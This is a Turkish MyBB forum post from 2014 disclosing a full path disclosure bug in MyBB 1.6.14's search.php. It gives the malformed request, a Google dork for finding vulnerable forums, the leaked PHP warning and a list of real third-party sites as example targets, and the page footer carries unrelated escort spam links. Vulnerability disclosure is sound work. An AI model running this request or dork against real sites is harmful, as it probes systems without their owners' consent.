MyBBDepo - Türkiyenin MyBB Deposu Forumuna Hoşgeldiniz
Eğer sitemize yaptığınız ilk ziyaretiniz ise, lütfen öncelikle Forum Kurallarını okuyunuz. Forumumuzda bilgi alışverişinde bulunabilmeniz için Kayıt olmalısınız. Üye olmayanlar forumumuzdan yararlanamazlar.
Eğer zaten kayıtlı kullanıcı iseniz, lütfen kullanıcı adınız ve şifreniz ile, Giriş yapınız. (Sitemize üyelik ücretsizdir).

Konuyu Oyla:

Derecelendirme: 0/5 - 0 oy
1
2
3
4
5

Derecelendirme: 0/5 - 0 oy

MyBB 1.6.14 - search.php Full Path Disclosure

MyBB Güvenlik , MyBB forumuzun güvenliğini sağlamak için yapılması gereken bilgilere buradan ulaşabilirsiniz.
Tarih: 29-07-2014, Saat:15:05 , DemoLisH , 12 Yorum , 8035 Okunma

Konuyu Takip Et

Sponsor Reklam

Çevrimdışı DemoLisH

Tarih: 29-07-2014, Saat:15:05

Yeni Üye

Konuları:

Yorumları:

Kayıt Tarihi:

14-12-2013

Rep Puanı:

Beğendiği:

Beğenileri:

(Son Düzenleme: 01-08-2014, Saat:15:09, Düzenleyen: DemoLisH.)

Açık bana aittir arkadaşlar. MyBB yetkililerine bildirdiğimde cevapları şu oldu " It's just a bug, a low priority one, and one we've known about for a long time. " Gülümseme

http://cxsecurity.com/issue/WLB-2014070152

Kod:

# Title: MyBB 1.6.14 - search.php Bug

 # Google Dork: inurl:"search.php" intext:"Powered By MyBB"

 # Date: 26.07.2014

 # Author: DemoLisH

 # Vendor Homepage: http://www.mybb.com/

 # Software Link: http://www.mybb.com/downloads

 # Version: 1.6.14 - Latest Version 

 # Contact: [email protected]



 ***************************************************



 [~#~] Exploit:

 search.php?action[$victor]=getdaily



 [~#~] Demo:

 http://community.mybb.com/search.php?action[$victor]=getdaily



 [~#~] Error:

 Warning [2] Illegal offset type in isset or empty - Line: 239 - File: global.php PHP 5.4.28-1~dotdeb.1 (Linux)



 [~#~] Example:

 http://my-bb.ir/search.php?action[$victor=getdaily

 http://www.mybb.fr/search.php?action[$victor]=getdaily

 http://community.mybb.vn/search.php?action[$victor]=getdaily

 http://destek.mybb.com.tr/search.php?action[$victor]=getdaily

 http://www.mybb.biz/search.php?action[$victor]=getdaily

 http://mybb.co.il/forum/search.php?action[$victor]=getdaily



 ***************************************************



 [~#~] Thanks To:

 ynR !, T3kfurD4GLi, X-X-X, PoseidonKairos, Mugair and all TurkeySecurity.Org & B3yaz.Org Members.

Cevapla

Bunu Beğenenler: mucotr , ~~Manager~~

Sponsor Reklam

Bu Konudaki Yorumlar

MyBB 1.6.14 - search.php Full Path Disclosure - Yazar: DemoLisH - 29-07-2014, Saat:15:05

Cvp: MyBB 1.6.14 - search.php Full Path Disclosure - Yazar: xpserkan - 29-07-2014, Saat:15:31

Cvp: MyBB 1.6.14 - search.php Full Path Disclosure - Yazar: DemoLisH - 29-07-2014, Saat:17:37

Cvp: MyBB 1.6.14 - search.php Full Path Disclosure - Yazar: xpserkan - 29-07-2014, Saat:19:20

Cvp: MyBB 1.6.14 - search.php Full Path Disclosure - Yazar: EmreKarakaya - 29-07-2014, Saat:18:17

Cvp: MyBB 1.6.14 - search.php Full Path Disclosure - Yazar: usameavci - 29-07-2014, Saat:22:09

Cvp: MyBB 1.6.14 - search.php Full Path Disclosure - Yazar: devmybb - 30-07-2014, Saat:00:54

Cvp: MyBB 1.6.14 - search.php Full Path Disclosure - Yazar: xpserkan - 30-07-2014, Saat:04:27

Cvp: MyBB 1.6.14 - search.php Full Path Disclosure - Yazar: devmybb - 30-07-2014, Saat:15:44

Cvp: MyBB 1.6.14 - search.php Full Path Disclosure - Yazar: Red0x - 30-07-2014, Saat:11:17

Cvp: MyBB 1.6.14 - search.php Full Path Disclosure - Yazar: xpserkan - 02-08-2014, Saat:20:55

Cvp: MyBB 1.6.14 - search.php Full Path Disclosure - Yazar: tsunami - 06-08-2014, Saat:17:31

Cvp: MyBB 1.6.14 - search.php Full Path Disclosure - Yazar: Theyamak - 23-01-2015, Saat:14:22

Konu ile Alakalı Benzer Konular
Konular		Yazar	Yorumlar	Okunma	Son Yorum
	Mybb sitem Spam gönderiyor.	mikail13	1	2,006	27-09-2020, Saat:22:28 Son Yorum: SiberLeon
	[1.6 - 1.8] Mybb iosec nasıl kurulur	Akrep12	3	4,363	14-05-2018, Saat:15:16 Son Yorum: CyberPatient
	[1.8] MyBB 1.8 Forum Görüntülemede Admin Paneli Kısayolunu Gizlemek (Ders)	Machine	9	14,064	27-04-2017, Saat:23:19 Son Yorum: VenomBoss
	Mybb Üyelikte Özel Karakter Çözümü (Eklentisiz)	Legans	18	16,434	13-04-2017, Saat:19:36 Son Yorum: VenomBoss
	MyBB Admin Paneli IP Adresi Güvenliği / Yüksek Derecede Güvenlik Önlemi	TheExpert	6	6,648	23-01-2017, Saat:21:20 Son Yorum: VenomBoss

Konuyu Okuyanlar: 1 Ziyaretçi

istanbul escort - mecidiyeköy escort - şişli escort - ataköy escort - taksim escort - escort mecidiyeköy